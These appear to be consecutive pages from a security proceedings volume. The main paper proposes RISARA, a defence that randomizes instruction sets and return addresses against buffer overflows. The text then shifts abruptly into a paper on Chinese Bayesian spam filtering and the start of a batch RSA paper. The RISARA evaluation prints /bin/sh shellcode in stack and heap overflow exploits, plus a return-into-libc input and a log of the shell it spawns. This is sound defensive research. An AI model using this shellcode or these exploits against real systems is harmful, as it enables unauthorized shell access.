prevents an exploit that relies on a hardcoded addresses from hijacking a control
of process. But Shacham et al. [12] demonstrated that the 16-bit key space used
by PaX ASLR could be quickly compromised by a guessing attack.

3.3 Static Analysis Based Defense

The static analysis scheme analyzes and fixes a program’s source code to de-
termine which array and pointer accesses are safe. Lint [13] and Splint [14] use
1 The return-into-libc attack is fairly complex. Thus we don’t deeply describe it in

this paper. A more detail mechanism may be found in Nergal’s article[6].
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compile-time analysis to detect common programming errors, and existing com-
pilers such as GCC have also been augmented to perform bounds-checking [15].
These technique can detect buffer overrun vulnerabilities automatically in ad-
vance of executing a program. However, they need a program source code and
additional time should be spent for obtaining analysis. And they need solutions
to reduce the frequency of false alarms.

3.4 Dynamically Loadable Library-Based Defense

The dynamically loadable library-based defense as the Libsafe [16] presented by
Arash Baratloo estimates a safe boundary for buffers on the stack at run-time
and checks the estimated boundary before any vulnerable function is allowed to
write to the buffer. Libsafe intercepts the vulnerable functions in the standard
C library, libc, and uses instead its own safe implementation of the function.
The overridden vulnerable functions are strcpy, strcat, getwd, gets, scanf, real-
path, sprintf, etc. This scheme does not need source recompilation. But it needs
patching dynamic libraries, and protects only C library function introduced vul-
nerabilities. Therefore, it cannot defend all kinds of injection attacks.

3.5 Dynamic Taint Analysis

The dynamic taint analysis like TaintChenk [17] can reveal whether a value has
been illegitimately modified since it was loaded into memory. This approach is
based on a runtime monitoring and traking input data of a program. TaintCheck
can performs dynamic taint analysis on a program by running the program in
its own emulation environment. This allow TaintCheck to monitor and control
the program’s execution creditably. However, it slows server execution between
1.5 and 40 times because it has a more complex and extended structure than an
emulator, Valgrind [5],which TaintCheck is based on.

3.6 Instruction Set Randomization-Based Defense

Lastly, there is a scheme based on instruction set randomization(ISR) which is
a promising defense method against code-injection attacks because it can de-
fend all typical code-injection attacks. This scheme diversifies the instruction
sets in each protected system. Diversity is an important characteristic of robust-
ness in biological systems, but computer systems, by contrast, lack of diversity
for manufacturing and management. Although homogeneous systems have many
advantages in the computer system, these advantages of uniformity can be se-
rious potential weaknesses. If an attack method is created for penetrating the
security of one computer, all computers with the same configuration become
similarly vulnerable. Therefore, researchers such as Gabriela Barrantes et al. [3]
and Gaurav S. Kc et al. [4] have proposed the defense schemes which randomize
the instruction sets to achieve diversity of computer system.

These schemes generate the randomization key and performs exclusive-or op-
eration of the instruction bytes with the key to scramble and unscramble them.
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Table 1. Shortcomings of Previous Related Works

Based Scheme Shortcomings

Compiler • Requirement a program source code for recompilation
• Publication of methods bypassing this scheme

Kernel • Requirement patching and recompiling a kernel
• Publication of methods bypassing this scheme

Static analysis • Requirement a source code and additional time for analysis
• Finding solutions to reduce the frequency of false alarms

Dynamically
loadable library

• Requirement patching a dynamic loadable libraries
• Protecting only C library function introduced vulnerabilities

Instruction set
randomization

• No defense data-injection BOF attacks

Hence, the attackers who do not know the randomized instruction set cannot
exploit a target process even though it has a vulnerability.

However, there are data-injection attacks which are more difficult than code-
injection attack. Since the ISR-based schemes only randomize instruction sets
in each protected system, they cannot aginst the defend data-injection attacks.
Therefore, a defense mechanism against both all code and data-injection attacks
is needed.

4 Motivation and Goal

As mentioned in Section 3, the previous works have several shortcomings. We
summarize the shortcomings in Table 1. To make up for these shortcomings, we
need an advanced defense scheme that can prevent a broad range of attacks,
which does not need a program source code, recompiling and patching. Hence,
we propose a generalized technique to prevent a broad range of injection attacks,
which satisfies following goals.

1. The proposed scheme defends both code-injection and data-injection attacks
that exploit buffer overflow vulnerabilities to seize control of a target pro-
gram.

2. The proposed scheme are feasible to apply to everyone, because it does not
require recompiling and patching a kernel or a protected program.

3. The proposed scheme is available for Commercial-Off-The-Shelf(COTS)
products whose source code cannot be accessible since it does not need a
program source code.

Among the above goals, the second and third goals can be solved by an imple-
mentation based on an instruction set randomization scheme. However, the first
goal cannot be covered with an instruction set randomization scheme. Hence,
we extend an instruction set randomization scheme and propose a new defense
scheme randomizing not only the instruction set but also the return addresses.
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5 Proposed Scheme

5.1 Instruction Set Randomization

The instruction set randomization scheme such as RISE, which is implemented
by Gabriela Barrantes et al. [18], is based on Valgrind [5], x86-to-x86 binary
translator. It diffuses a binary code-injection attack from the network into a
non-meaningful or non-executable program since the attacker does not know
the instruction set of the target machine. Under this scheme, each process of a
system has a different and secret randomization key, and the instructions are
randomized by a translator with the key at the loading time.

As seen in Figure 2, a loader reads the binary image of executable file from the
local disk, scrambles all codes using a hidden randomization key, and loads them
into the emulator’s memory. Then, as instructions are fetched, the instructions
will be unscrambled and executed correctly in the form of unaltered x86 machine
code executable on the physical machine. On the other hand, if an attack code
is injected from the network, the injected code will use the original instruction
set. Thus, when the attack code is fetched and unscrambled, it will be illegal x86
instructions or have the wrong address, which will cause the process to abort.

This scheme was successfully tested on several code-injection attacks in which
it was found to be very feasible for defending against an attack from network.
However, it does not defend against data-injection attacks such as the ”return-
into-libc” type. Thus, we will enhance this defense scheme with the return ad-
dress randomization to defend against the data-injection attacks as well as the
code-injection attacks.

5.2 Return Address Randomization

To defend against this data-injection attack, we propose a return address ran-
domization scheme along with an instruction set randomization.

This modifies the micro-instruction of CALL and RET instructions. The in-
structions which can change a process flow are CALL, RET, and JMP. Among
these instructions, CALL and RET are related to the data-injection attack such
as the ”return-into-libc” type. Hence, we modify CALL and RET instructions
as seen in Table 2.
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Table 2. Modification of CALL and RET Instructions

Instruction Original Modified

1. Push ANI into [%esp] 1. Randomize ANI
CALL 2. Jump to a function() 2. Push RANI into [%esp]

3. Jump to function()

RET

1. Pop from [%esp] into %eip 1. Pop from [%esp] into TR
2. Jump to %eip 2. Derandomize TR

3. Move TR to %eip
4. Jump to %eip

• ANI: Address of Next Instruction • eip: extended instruction pointer
• RANI: Randomized Address of Next Instruction • esp: extended stack pointer
• TR: Temporary Register

The original CALL instruction pushes the address of next instruction into the
stack pointed by the esp register. But we modify it to randomize the address
of next instruction and push the randomized address into the stack. On the
other hand, the RET instruction is also changed so that it pops the data of
the stack pointed by esp register into a temporary register and derandomizes
the data of the temporary register, and then, moves the derandomized data
of the temporary register to eip register and lastly jumps back to the caller
function. Our scheme randomizes the return address which will be stored in
the stack section by exclusive-oring with 32-bits randomization key generated
at the loading time. The proposed scheme can defend the data-injection attack
from network. As presented in Figure 3, for a normal function call, our scheme
randomizes the address of next instruction and pushes it into the stack of process.
And when returning to the callee function, the return address, which is already
randomized in the stack, is derandomized. Then it is popped into eip register and
a process flow is back to the callee’s normal flow. However, if a buffer overflow
attack including a data-injection occurs, the injected return address is not the
formally randomized one. Consequently, when the wrong return address is used,
it will encounter a segmentation fault or jump to the address which does not
match the intention of an attacker.

Meanwhile, the injected return address may become an address of unwilling
instruction or an infinite loop after derandomization. Thus, we need an extra
consideration for the proposed scheme. The most proper way of handling an
attack after detection is to lead the process flow to the ”Segmentation fault”.
The main point is how to select the randomization key. Figure 4 shows the
scheme of selecting a random key and the memory map of a simple process.

Figure 4 shows the memory map of a simple program ”hello”. We want to
choose the key which guarantees the return address not jumping to the already
mapped memory regions. Therefore we have to select a randomization key that
does not lead the injected return address to the already mapped region after
derandomization. To be able to do this, we have to be careful in selecting the
prefix of the randomization key. In an example of Figure 4, an attacker who
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Fig. 4. Scheme of Selecting a Random Key

wants to jump to somewhere in a shared library will use the return address
beginning with 0x42. At this time, if a random key which is beginning with 0xfd
or 0x4a or 0x00 is used, the randomized return address will be 0xbf or 0x08 or
0x42 in the result, and these addresses could not incur the ”Segmentation fault”.
Hence, we choose the randomization key except for these kinds of keys.

6 Implementation Issues

We have implemented the proposed scheme on the x86/Linux base on Val-
grind [5] and RISE [18] because we cannot directly modify the micro-instruction
of CPU as we have proposed.

6.1 Implementation on Emulator

Valgrind provides the base execution mechanism for running and controlling
programs. Figure 5 gives a conceptual view of normal execution environment
of a program and execution environment of a program under the control of
the emulator. A client program in normal execution environment can directly
access a machine and a operating system, but the emulator mediates every-
thing a client does under the control of the emulator. Valgrind is obtained from
http://valgrind.org/ and RISE is obtained from http:// cs.unm.edu/∼immsec.
Because RISE is an extension of Valgrind, we modified x86 translator of RISE for
supporting our proposed scheme with the instruction set randomization scheme
of RISE. We modified the micro-instructions of CALL and RET instructions
according to the way shown in Table 2.
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6.2 Management of Randomization Key

The randomization key is generated using the Linux /dev/urandom device, when
a program is loaded on the memory. At this time, we look up the memory map of
process and decide the 32-bit randomization key. The randomization key, which
is used for exclusive-oring a return address and instruction bytes, is long enough
to prevent an attacker from guessing or trying brute force attacks. Gaurav S. Kc
et al. [4] mentioned that a 32-bit key is sufficient for protecting against injection
attacks, since the rate at which an attacker can launch these brute-force probing
attacks is much smaller than in the case of modern cryptanalysis. Moreover, the
generated key is dynamically allocated in the heap region, and it makes guessing
a secret randomization key by an remote attacker more difficult than generating
a key in a fixed region.

6.3 Handling Hardcoded Assembly Code

While implementing our scheme, several subtle complications incurred by using
an emulator, which does not modify the micro-instruction of CPU directly. The
x86 translator in Valgrind uses an instruction cache for improving performance.
The instruction cache is performed per a ”basic block” unit. The ”basic block”
is a straight-line sequence of x86 code, whose head is the address jumped from
other addresses, and which ends with a control flow transfer instruction such as
a jump, call, or return. CALL and RET instructions from a scrambled program
should consider the derandomized return addresses. Meanwhile, CALL and RET
instructions from unscrambled code (from emulator) should consider the not de-
randomized return addresses. Hence, it will be a problem that the instructions
formed during the emulator’s execution time in an instruction cache are about to
be used when a client program code is fetched. This problem is solved by putting
caller information in the head of cached basic block. Note that this problem does
not occur if the modification is done directly on the microcode itself. Another
complication is on instruction codes that move the return address in stack to a
register or exchange the return address in stack with a register. When this ran-
domized value in the register is used without derandomization, program could
not execute correctly. Thus, we found that this type of instructions are used just
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#include <stdio.h>
#include <string.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_str[128];
int main(int argc, char *argv[]) {

char stackbuf[96]; /* buffer to overflow */
int i;
long *l_ptr = (long *) large_str;

for(i=0; i<32; i++)
*(l_ptr + i) = (int) stackbuf;

for(i=0; i< (int) strlen(shellcode); i++)
large_str[i] = shellcode[i];

strcpy(stackbuf, large_string); /* vulnerable */
return 0;

}

Fig. 6. Stack Overflow Exploit Code

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {

int *ret;
char *heapbuf = (char *) malloc(64); /* buffer to overflow */

sprintf(heapbuf,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh");

*((int *) &ret+2 ) = (int) heapbuf; /* vulnerable */
return 0;

}

Fig. 7. Heap Overflow Exploit Code

before the RET instruction for dynamic library link. We modified this type of
assembly codes to achieve normal execution in a program.

7 Analysis

7.1 Efficacy

In order to examine the protection efficiency, we have evaluated the efficacy of
Randomized Instruction Set And Return Address(RISARA) compared to RISE
on the Redhat Linux system. We intend to see how our system behaves when it
faces both code-injection BOF and data-injection BOF attacks.

We use synthetic injection attacks to perform these tests. The synthetic at-
tacks were obtained from materials introduced by Nergal [6] and PaX Team [19].

Stack overflow(Code-injection). We will use the exploit code, shown in Fig-
ure 6, to test the code-injection attack on the stack region of a process. When
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#include <stdio.h>

int vul (char *str) {
char buffer[5];
/* vulnerable */
strcpy (buffer, str);

}

int main (int argc, char *argv[]) {
vul (argv[1]);
return 0;

}

( Address of exit() )
Return address when the function returns

( Address of string "/bin/sh" )
1st argument of function

Dummy

Address of function
( Address of system() )

2nd argument of function

3rd argument of function

Fig. 8. Vulnerable Code under Data-
injection

Fig. 9. Organization of a Injected String

this program runs, it will spawn a shell which is made by overflowing a local
variable, stackbuf. If the program belongs to root with a SUID bit, the security
may be in danger.

Heap overflow(Code-injection). The program shown in Figure 7 will exploit
a heap overflow by injecting codes into a buffer on the heap region. It is based
on the same principle as the former stack exploit code. The difference is that
this code smashes a dynamically allocated variable, heapbuf.

Return-into-libc(Data-injection). The data-injection attacks such as return-
into-libc are some different from the previous two attack methods. The attacker
using the previous two programs arranges the attack codes into writable regions
of a process and executes a shellcode contained in the attack codes. However, if
the regions such as stack and heap have been altered into non-executable, the
previous two programs cannot exploit a target system. But the data-injection
attack can still exploit a target system, because it only injects the data, which
does not need to be executed in a non-executable region. The injected data are
the arguments of a function, some addresses of a function and other data which
the attacker want to inject.

To test the data-injection attack, we will use the code, as shown in Figure 8
and input the string organized as shown in Figure 9. The values of addresses in
Figure 9, the address of system() function and address of string ”/bin/sh”, are
specially made according to a target system environment. In this example, we
will spawn a target system shell using the address of system() function in the
standard C library.

7.2 Results

In result, RISA and the proposed scheme can defeat all code-injection attacks.
However the proposed scheme can only defend the data-injection attacks which
are not covered by RISE. Below is the defense output in case of the data-injection



250 D.J. Kim et al.

Table 3. Results of Defense by the RISE and the proposed scheme(RISARA)

Attack Defense

Class
Type of Location of

RISE RISARAInjection Injected Code
Stack overflow Code Stack O O
Heap overflow Code Heap O O

Return-into-libc Data Stack X O

attack and Table 3 shows the results of defending against network attacks by
RISE and RISARA.

[elitemir@gt40 ~/ch2]$ rise ./vulne ‘perl -e ’print "ABCD"x7 .
"\x60\x33\x17\x40"."\xb0\xe7\x15\x40"."\xc3\xfe\xff\xbf";’‘
==15566== RISE, for x86-linux.
==15566==
buffer is at 0xbffffa60
==15570== RISE, for x86-linux.
==15570==
sh-2.05b$ id
==15571== RISE, for x86-linux.
==15571==
uid=1000(elitemir) gid=100(users) groups=100(users)
==15571==
.

RISE cannot protect the target software from the data-injection attack and
a shell of the target system was spawned after all.

[elitemir@gt40 ~/ch2]$ risara ./vulne ‘perl -e ’print "ABCD"x7 .
"\x60\x93\x05\x40"."\xb0\x47\x04\x40"."\x61\xfe\xff\xbf";’‘
==18794== RISARA, for x86-linux.
==18794==
==18794==
buffer is at 0xbffffa30
Segmentation fault
[elitemir@gt40 ~/exercise/ch2]$

However, the proposed scheme can protect the target software from the data-
injection attack and a attacker cannot obtain an intended shell of the target
system.

7.3 Performance

We measured performence of the proposed scheme using two CPU-bound pro-
grams, bc and gzip, and one I/O-bound progrm, tar. For each program, we mea-
sured the performenc when it was run natively, when it ran under Nullgrind (a
Valgrind skin that does nothing), when it ran under RISE, and when it ran un-
der the proposed scheme, RISARA. Our evaulation was performed on a RedHat
9.0 system with a 2.66 GH Pentium 4, and 2GB of RAM. Figure 10 represents
results of performence evaluation. The performance overhead of this scheme is
almost the same as RISE and a little larger than Nullgrind. This means that
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Fig. 10. Performance evaluation. Y-axis is the performence overhead factor: execution
time divided by native execution time.

the proposed scheme, which is implemented based on Valgrind, does not impose
significant extra overheads, although RISARA slows execution of progrm be-
tween 2 to 12 times. And it also means that the performence of our scheme can
be improved by developing a faster and more light emulator. Futhermore the
overhead of our scheme can be fundamentally removed by implementing with
supporting of hardware in the future.

8 Conclusion

We have presented an efficient defense scheme using randomization against all in-
jected code and data attacks through network. The proposed scheme can prevent
malicious attackers and worms from exploiting vulnerabilities by using random-
ization of instruction set and return addresses. It only needs a simple modifica-
tion CALL and RET micro-instructions based on the instruction set random-
ization scheme. This scheme does not need a program source code, recompiling
and patching the system, hence it is available for Commercial-Off-The-Shelf
(COTS) products and is feasible to apply to everyone. The implementation re-
sults show that the proposed scheme effectively defends software systems against
data-injection BOF attacks as well as code-injection BOF attacks without sig-
nificant extra overheads. The proposed scheme has been implemented in the
emulator, Valgrind, but we are planning to implement on hardware in the near
future for decreasing overheads which incurred due to the usage of the emulator.
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Abstract. Recently, a statistical filtering based on Bayes theory, so-
called Bayesian filtering gain attention when it was described in the
paper A Plan for Spam by Paul Graham, and has become a popular
mechanism to distinguish spam email from legitimate email. Many mod-
ern mail programs make use of Bayesian spam filtering techniques. The
implementation of the Bayesian filtering corresponding to the email writ-
ten in English and Japanese has already been developed. On the other
hand, few work is conducted on the implementation of the Bayesian spam
corresponding to Chinese email. In this paper, firstly, we adopted a sta-
tistical filtering called as bsfilter and modified it to filter out Chinese
email. When we targeted Chinese emails for experiment, we analyzed
the relation between the parameter and the spam judgement accuracy
of the filtering, and also considered the optimal parameter values.

Keywords: Bayesian filtering, spam, Chinese email.

1 Introduction

Spam(unsolicited bulk email) have received much attention on Internet users and
the amount of the spam increases. Since a bulk mailer can send a large number
of email with low expenses, a spammer is sending numerous advertisement email
which recipients does not want to receive. The number of technical approaches
to the spam is increasing in recent years and one of the anti-spam approaches is
Bayesian filtering [4][5][8]. Bayesian filtering is based on the principle that the
probability of an event in the future depends on previous occurrences of that
event. It uses a mathematical approach based on known spam and legitimate
mail.

In this paper, we adopt to apply the Bayesian filtering to solve a problem on
Chinese spam and to evaluate performance of the filter. The implementation of
the Bayesian filtering corresponding to email written in English and Japanese
has already been developed. On the other hand, few works are conducted on the
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implementation of the Bayesian spam corresponding to Chinese email. So we
adopted a statistical filtering [6] called as bsfilter [2] and modified it to filter out
Chinese email. When we targeted Chinese email for experiment, we analyzed
the relation between the parameters and the spam judgment accuracy of the
filtering, and also considered the optimal parameter values.

The rest of the paper is organized as follows: Section 2 describes the procedures
of Bayesian filtering; Section 3 presents the modification of Bayesian fitering for
Chinese email; Section 4 and 5 describe our experiments and results, respectively;
finally, Section 6 concludes the paper with discussion and future work.

2 Bayesian Filtering

Statistical filtering techniques, like Naive Bayes [11], Support Vector Machine
[12], Boosting [13], and Markov Chain [14], currently gain more attention because
they are implemented easily and have worked with good accuracy. Statistical
filtering automatically identifies features of spam based on message content. It
uses statistics and probability to determine the likelihood of a message being
spam, along with the machine learning concepts. Bayesian filtering, also known
as Bayesian analysis, is a popular implementation of statistical filtering based
on a mathematical theorem called Bayes’ Theorem. and is a popular approach
to statistical language classification. The advantage of the Bayesian filtering is
that it considers the most interesting words and comes up with a probability
that a message is spam. Since Bayesian filtering is constantly self-adapting and
sensitive to the user, many modern mail user agent (MUA) programs make use
of Bayesian spam filtering techniques.

The procedure of Bayesian filtering is offered as follows: Particular words have
particular probabilities of occurring in spam and in legitimate email. The filter
does not know these probabilities in advance, and must firstly be trained so it
can build them up. In order to train the filter, the user must manually indicate
whether each training email is spam or not. For all words in each training email,
the filter will adjust the probabilities that each word will appear in spam or
legitimate email in its database. After training, the word probabilities are used
to compute the probability that an email with a particular set of words in it
belongs to either category. When new mail arrives, it is scanned into tokens,
and the most interesting tokens, where interesting is measured by how far their
spam probability is from a neutral 0.5 [1] are used to calculate the probability
that the mail is spam. Then, if the total exceeds a certain threshold, the filter
will mark the email as spam.

In a lot of implementations, the method proposed by Graham [1] is used as
the arithmetic expression of the spam probability. In Graham’s method, firstly
the token to the probability that an email containing it is a spam is calculated.

p(w) =
b/nbad

bias × g/ngood + b/nbad

– if g = 0, b > 0,then p(w) = 0.99Cif g > 0, b = 0,then p(w) = 0.01C
if g = b = 0,then p(w) = 0.4
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– b : the number of times token w occurs in spam
– g : the number of times token w occurs in legitimate mail
– nbad : the number of trained spam
– ngood : the number of trained legitimate mail
– bias : the coefficient for decreasing false positives, bias=2 in Graham’s

method

Then, the probability that the mail is spam is calculated to be

p(w1) · · · p(wM )
p(w1) · · · p(wM ) + (1 − p(w1)) · · · (1 − p(wM ))

– w1, w2, · · · : each token spam probability is far from 0.5 in turn. w1 is the
farthest one

– M : The number of the tokens used to judge , M=15 in Graham’s method

Then, if the total exceeds a certain threshold, the filter will mark the email as
spam.

3 Consideration for Chinese

In order to apply Bayesian filter in Chinese environment, some modifications of
Bayesian filtering are required to improve efficiency because most spam filtering
systems by using Bayesian filter assume to process English email, which has
different structure of sentences from Chinese.

Some spam judgment tools that adopt Bayesian filter for English and Japanese
mail are available publicly, and a lot of researchers receive benefit of them.
However, as for Chinese, Baysian filtering tools like bsfilter [2], which anyone
can download freely, are still unavailable in public.

One of the reasons why Bayesian filtering doesn’t fit to Chinese spam lies in
the difficulty of analysis of Chinese sentences. In Bayesian filtering, it computes
the spam probability of each token. However, there is a tokenization problem in
Chinese environment. Tokenization [11] is the process of reducing a message to
its colloquial components. In English mail, it uses spaces or mark to break apart
a message and extract tokens. However, it doesn’t use spaces to separate words
in Chinese mail, so explicitly finding word breaks is very difficult. There is the
same problem in other languages such as Japanese and Korean.

When the morphological analysis system [9] is used, the retrieval noise is
decreased. Since divided word has the meaning, the character is only partially
corresponding that can not be the search target. Since it is possible to divide
a word by the long unit, the size of the index can be small. However, it isn’t
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possible to divide rightly when a word isn’t subscribed to the dictionary and
the search leakage occurs. Especially, Chinese differs from Japanese that the
character category has big information for the word division, and is composed
of a single character (Chinese character). In addition, assigning a word’s part of
speech is not easy because there are a lot of words with two or more parts of
speech. The retrieval leakage doesn’t happen basically because such a problem
doesn’t occur in the technique of n-gram. Instead, the retrieval noise increases.

The minimum unit of Chinese token is one character, however a token consists
of two characters in many cases. Moreover, a result shows that the bigram (two
characters) is better than unigram (one character) from the paper “Chinese
information retrieval : using characters or words?”[15] by Jian-Yun Nie. So we
used bigram for our experiment.

Here, we adopted bsfilter that is one of the implementation by using Ruby
object oriented programming language as Bayesian filtering to implement a pro-
totype of a spam filter supporing Chinese email. The Graham method was used
for the calculation of the spam probability in our prototype.

We have modified it as .

– We put Chinese character code GB2312 in the cn database
– We use bigram to extract Chinese token
– In order to correspond to the environment where two or more languages exist

together, we consider Unicode(utf-8) as the cn database code.

Bigram technique extracts token with rule as ,

– The isolated Chinese character is extracted as one token.
– A sequence of the Chinese character is divided to two adjacent character as

one token.
– English word is extracted by blank as one token.

4 Experiment

4.1 Experiment Data

We used the email messages that the author received over a period of 9 months.
There is a characteristic in statistical filtering that if the number of learned data
is small, great accuracy of catching spam does not come out. So we also used a
data set provided by the anti-spam organization [3] in China for the evaluation.
For our experiments, we used 2158 email including only Chinese message which
consists of 1012 legitimate email and 1146 spam. Since these mails collected from
more than one email address, we made all emails that arrived to the same mail
address over a part of message header such as Received, To.

follows

follows
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4.2 Experiment Procedure

There is an experiment procedure to evaluate our Bayesian filtering system as
.

1. Bayesian filter is trained with a set of emails that are known to be spam and
a set of emails that are known to be legitimate (initial train)

2. The remainder mail is judged from the Bayesian filter one by one, and we
record the calculated spam probability of the email

3. We count the recorded spam probability at the 2 and fluctuate the threshold
t, bias, the number of the tokens used to judge M [10]to measure Recall(the
percent of the spam messages that were correctly blocked), Precision(the
percent of non-spam that was incorrectly blocked) and Accuracy (the percent
of correctly classified messages).

4. All experiments are conducted using 10-fold cross validation. That is, the
messages have been divided into ten partitions and at each iteration nine
partitions were used for training and the remaining tenth for testing. The
reported figures are the means of the values from the ten iterations.

5 Experimental Results

5.1 When Fluctuating the Bias

We calculate the token spam probability p(w) when we fluctuated bias from 0.2
to 4.0 in four conditions with the number of the tokens to judge, M=10, 15, 20,
30 where we set threshold t at 0.9. The results are presented in figure 1.

From Graham’s calculating formula of token spam probability, we know if we
increase bias, then precision will go up and the recall will go down. If we reduce
bias, it becomes opposite.

In a general way, misclassifying a legitimate mail as spam (false positive) is
worse than misclassifying a spam message as legitimate (false negative). If false
negative occurs, since spam is merely displayed at the recipient, the recipient
needs only to do an isolation or deletion manually. However, if false negative
increases too much, the recipient will process it under heavy load. So reducing
false negative as much as possible is desirable.

The distribution of accuracy is a little low in the range of bias < 1, and high
in the range of 1 < bias < 4 in all four conditions. However, precision is too
small in the range of bias < 1.5. If false positive occurs, a legitimate mail will
be kept in isolation or rejected as spam. In general, since false positive is worse
than false negative, if precision is too small, the spam filter can not be used.
In addition, in the range of 1 < bias < 4, accuracy is almost the same and we
want to raise precision by priority. From these viewpoints one may say that the
optimal value of bias ranges from 2.0 to 2.3.

follows
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Fig. 1. Relation between M and judgment accuracy
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5.2 When Fluctuating the Threshold t

For four conditions of bias=0.5, 1.0, 1.5, 2.0, we fluctuated threshold t from 0 to
1 and calculated precision, recall and accuracy. We set the number of the tokens
used to judge M to 15, and the results are presented in figure 2.

As we know, if threshold t increased, the number of spam detected will go
down. If it reduced, spam is blocked off with the filter that will increase. In
other words, when threshold t increased, the recall decreases and the precision
increases.

From Graham’s calculating formula of token spam probability, we know if
bias increased, token spam probability altogether will be low. So mail spam
probability is turned out to be low and mail is difficult to be detected as spam.
As mentioned above, we know if bias increas , precision will go up and recall
will go down.

Accuracy is turned to be least when bias=2 occurred at t=0, when bias=1.5
occurred at t=0.1, when bias=1.0 occurred at t=0.1, 0.9, when bias=0.5 occurred
at t=0 and remains steady at other place. As the diagram indicates, in the range
of 0.1 < t < 0.9 the fluctuation band is quite small. It seems not to be a big
difference in the accuracy if threshold t avoids taking in vicinity to 0 or 1.
However, we want to raise precision by priority and take rather large t, so it
seems reasonable to suppose that t=0.9 in Graham’s method.

5.3 When Fluctuating the Number of Token M

For two conditions of bias=1, 2, we fluctuated the number of the tokens used to
judge M and set threshold t to 0.9, we experimented. The results are presented
in figure 3.

The distribution of the accuracy to M shows the same tendency of 2 con-
ditions. Accuracy increases sharply in the range of M < 10, rises to the peak
in about M=20 and falls gently after M=20. Accuracy is turned to maximum

When too few tokens are used for spam judgment, if five or six words whose
spam probability in mail are high, a lot of proper email has been judged to be
spam by mistake. Therefore, we could not reduce M. However, when you enlarge
M too much, the weight of a feature word weakens as M is enlarged. It comes
to consider to the word which is not an interesting token at all as it appears in
either of the legitimate email or spam.

When bias=2, accuracy declines slowly in the range of M > 30. When bias=1,
accuracy declines slowly in the range of M > 20.

Therefore, in the scenario, we can select the pair of parameters bias=2 and
M=25, or bias=1 and M=20 as the optimal case because both accuracy and
precision are stability high with low M. In the setting M=15 of the Graham’s
method, it became a result in which M was a little few as a number of tokens
used when the spam mail probability was calculated.

Perhaps it is right to say that the optimal value of M is changed with the
kind of language, the extraction technique and the average number of the word
which is contained in the received mail.

es
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Fig. 2. Relation between threshold and judgment accuracy



Application and Evaluation of Bayesian Filter for Chinese Spam 261

(t=0.9, bias=2)

60

65

70

75

80

85

90

95

100

0 10 20 30 40 50 60 70 80 90 100

M

p
r
o
b
a
b
il
it
y
(
%
)

Accuracy

Recall

Precision

(t=0.9, bias=1)

60

65

70

75

80

85

90

95

100

0 10 20 30 40 50 60 70 80 90 100

M

p
r
o
b
a
b
il
it
y
(
%
)

Accuracy

Recall

Precision

Fig. 3. Relation between threshold and judgment accuracy

5.4 Consideration for Result

We compared parameter values used in Graham method with the optimal value
based on our experiment. We used 2508 email including Chinese message which
consists of 1022 legitimate email and 1486 spam as experimental data. The results
are shown in Table 1.

From the result of the experiment, we can see false positive does not change
in either method so much. However, the optimal value based on this experiment
shows the lower false negative than the value of the parameter used in Graham
method.

We consider the optimal value obtained by this experiment.

– threshold t
When two values are in the relation of the trade-off by how to take a cer-
tain parameter, the selection of the parameter has a big problem usually.
Moreover, it is an important threshold used to judge as the parameter this
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Table 1. The result of comparison

Graham Method Optimal value
( M=15 ( M=25
t=0.9 t=0.9

bias=2) bias=2.2)
misclassify spam as legitimate mail 15 13

(false negative)
misclassify legitimate mail as spam 8 1

(false positive)

time. However, from the result, we can see this threshold t does not affect
the performance slightly on the filtering system.

– bias
For most users, missing legitimate email is greatly serious problem rather
than receiving spam, so we should set the bias parameter in order to avoid
false positive. From this viewpoint one may say that the optimal value of
bias ranges from 2.0 to 2.3.

– the number of the tokens used to judge M
From these results one general point becomes clear that the optimal value
of M depends on the kind of language, the token extraction technique and
the average number of the word which is contained in the received mail.

6 Conclusion

In this paper, we adopted a statistical filtering called as bsfilter and proposed its
modification to filter out Chinese email effectively. Through experiments with
Chinese email, we analyzed the relation between the parameters and the spam
mail judgment accuracy of the filtering. Since the value which can detect more
spam is better than minimizing the number of false positives, we think the
number of extracted tokens actually used for the spam judgment is 25 which
seems to be optimal value and the larger number than the Graham’s previous
work.

We will give weight to examine the optimization of the parameter of the
Bayesian filtering in the environment where two or more languages exist together.
Moreover, when we used the Bayesian filter for Chinese mail has the problem
that the detection accuracy is lower than English mail. We believe that if the
Bayesian filtering we used this time is corrected more reasonably, changing the
technique of the extraction of the token, or Combining Bayesian Filtering and
white list can help us to get the better detection accuracy for Chinese email.
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Abstract. A public-key cryptosystem is usually used for key manage-
ment, in particular to session key management. The paper presents a
method for handling a batch of concurrent keys with homomorphic
public-key cryptosystems such as RSA, Paillier and ElGamal. Theore-
matically, regardless Shacham and Boneh proved that it is impossible to
provide batch RSA encryption of messages with a single certificate, the
present result is positive when the messages are small. Practically, the
present method is compliant to the de facto standard SSL/TLS hand-
shake and increases the SSL system performance.

1 Introduction

As a most successful application (e.g., online banking and e-commerce) of public
key cryptosystem, SSL/TLS runs at the reliable layer above existing protocols
so as to build a session between a server and a client; while DTLS, a datagram
capable version of TLS, provides secure transmission over unreliable datagram.
At the basic level, SSL/TLS/DTLS protects communications by encrypting mes-
sages with a secret key-a large random number known only to the server and
client. However, it is time-consuming to share the secret key, especially for the
server when there are a lot of concurrent SSL connections. For example, a typ-
ical Pentium server (running Linux and Apache) can handle about 322 HTTP
connections per second at full capacity but only 24 SSL connections per second;
and a Sun 450 (running Solaris and Apache) fell from 500 to 3 connections per
second. Therefore, it is in desire to speed up the server’s performance.

Obviously, a dedicated cryptographic accelerator chip can improve the server
performance. Although cryptographic accelerators are becoming inexpensive
(e.g., US$1400 for XM2000 from www.cryptoapps.com/company.html), users
should certainly not be expected to purchase additional hardware. Naturally, it
is preferable to design an algorithm for high volume SSL/TLS Internet servers
that offload the processing and bulk ciphering to dedicated servers.

Fiat [1] presented an algorithmic approach for speeding up SSL’s performance
on a heavily-loaded web server by batching the SSL handshake protocol. The
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algorithm decrypts several ciphertexts in a batch way so as to handle many
concurrent SSL sessions. Shacham and Boneh [2] improved the batching perfor-
mance with the techniques such as CRT and simultaneous multiple exponen-
